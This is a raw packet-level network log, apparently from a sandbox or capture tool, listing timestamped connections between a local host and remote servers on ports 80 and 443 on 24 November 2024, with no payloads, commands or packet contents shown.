Nov 24, 2024 14:24:20.386151075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386157036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386167049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386168957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386179924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386190891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386200905 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386203051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386210918 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386220932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386233091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386234045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386245012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386251926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386260986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386277914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386288881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386287928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386287928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386301041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386312008 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386322975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386322975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386337042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386346102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386356115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386357069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386365891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386375904 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386382103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386387110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386398077 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386398077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386408091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386419058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386428118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386430979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386440992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386451006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386461973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386462927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386473894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386482954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386488914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386498928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386508942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386518955 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386524916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386524916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386535883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386543989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386548042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386558056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386568069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386578083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386578083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386590004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386599064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386600971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386611938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386620998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386627913 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386631966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386643887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386662960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386682034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386792898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386809111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386818886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386830091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386841059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386851072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386851072 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386869907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386869907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386879921 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386893988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386915922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.390100956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.390163898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.390242100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.390300035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.390674114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.390727043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.390765905 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.390818119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.391798973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.391854048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.391854048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.391908884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.392936945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.392992020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.393050909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.393105984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.394107103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.394160032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.394196033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.394242048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.395206928 CET	443	49784	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:20.395242929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.395275116 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:20.395328999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.395401001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.395447016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.396372080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.396416903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.396512032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.396557093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.396821022 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:20.396831036 CET	443	49784	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:20.397156000 CET	443	49784	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:20.397562981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.397608995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.397667885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.397717953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.398617029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.398663044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.398679972 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:20.398752928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.398798943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.398835897 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:20.398874044 CET	443	49784	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:20.398926020 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:20.398936033 CET	443	49784	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:20.399812937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.399868011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.399930954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.399981976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.401063919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.401117086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.401206970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.401261091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.402072906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.402126074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.402167082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.402219057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.403192997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.403249025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.403305054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.403353930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.404346943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.404397964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.404479980 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.404531956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.405477047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.405529976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.405570984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.405622959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.406620026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.406680107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.406739950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.406779051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.407808065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.407913923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.407970905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.408000946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.408879995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.408934116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.408977985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.409030914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.410024881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.410068989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.410108089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.410154104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.411206961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.411256075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.411282063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.411334991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.412334919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.412384987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.412456989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.412508011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.413465023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.413517952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.413558960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.413605928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.414586067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.414640903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.414679050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.414726973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.415791988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.415841103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.415949106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.415997982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.416901112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.416949987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.416973114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.417026043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.417977095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.418025970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.418108940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.418157101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.419104099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.419157982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.419215918 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.419264078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.420242071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.420291901 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.420331955 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.420382023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.421423912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.421474934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.421508074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.421560049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.422595024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.422648907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.422693014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.422740936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.423677921 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.423721075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.423780918 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.423823118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.424843073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.424885988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.424957037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.424998999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.425923109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.425967932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.426038027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.426080942 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.427150011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.427192926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.427249908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.427294016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.428215981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.428261042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.428328991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.428374052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.429342031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.429394960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.429447889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.429492950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.430525064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.430572033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.430643082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.430685043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.431622028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.431663036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.431729078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.431765079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.432770967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.432816982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.432869911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.432912111 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.433902025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.433947086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.434006929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.434050083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.435039997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.435085058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.435118914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.435172081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.436182022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.436228037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.436295986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.436341047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.437325954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.437371969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.437441111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.437484026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.438441038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.438486099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.438499928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.438538074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.439579964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.439627886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.439630032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.439663887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.440752983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.440798044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.440850019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.440892935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.441849947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.441896915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.441956997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.441999912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.443001032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.443046093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.443078041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.443115950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.444190025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.444236040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.444262981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.444299936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.445283890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.445329905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.445358992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.445401907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.446430922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.446477890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.446542025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.446585894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.447829962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.447875977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.448055983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.448096991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.448719025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.448759079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.448824883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.448873043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.449771881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.449817896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.591567039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.591638088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.591744900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.591744900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.591754913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.591794968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.591837883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.591878891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.592539072 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.592588902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.592753887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.592801094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.593549013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.593595982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.593611002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.593652964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.594418049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.594465971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.594530106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.594571114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.595387936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.595437050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.595504999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.595549107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.596342087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.596394062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.596462011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.596508980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.597326040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.597369909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.597454071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.597501993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.598262072 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.598310947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.598371029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.598412991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.599339962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.599392891 CET	49778	80	192.168.2.4	31.41.244.11
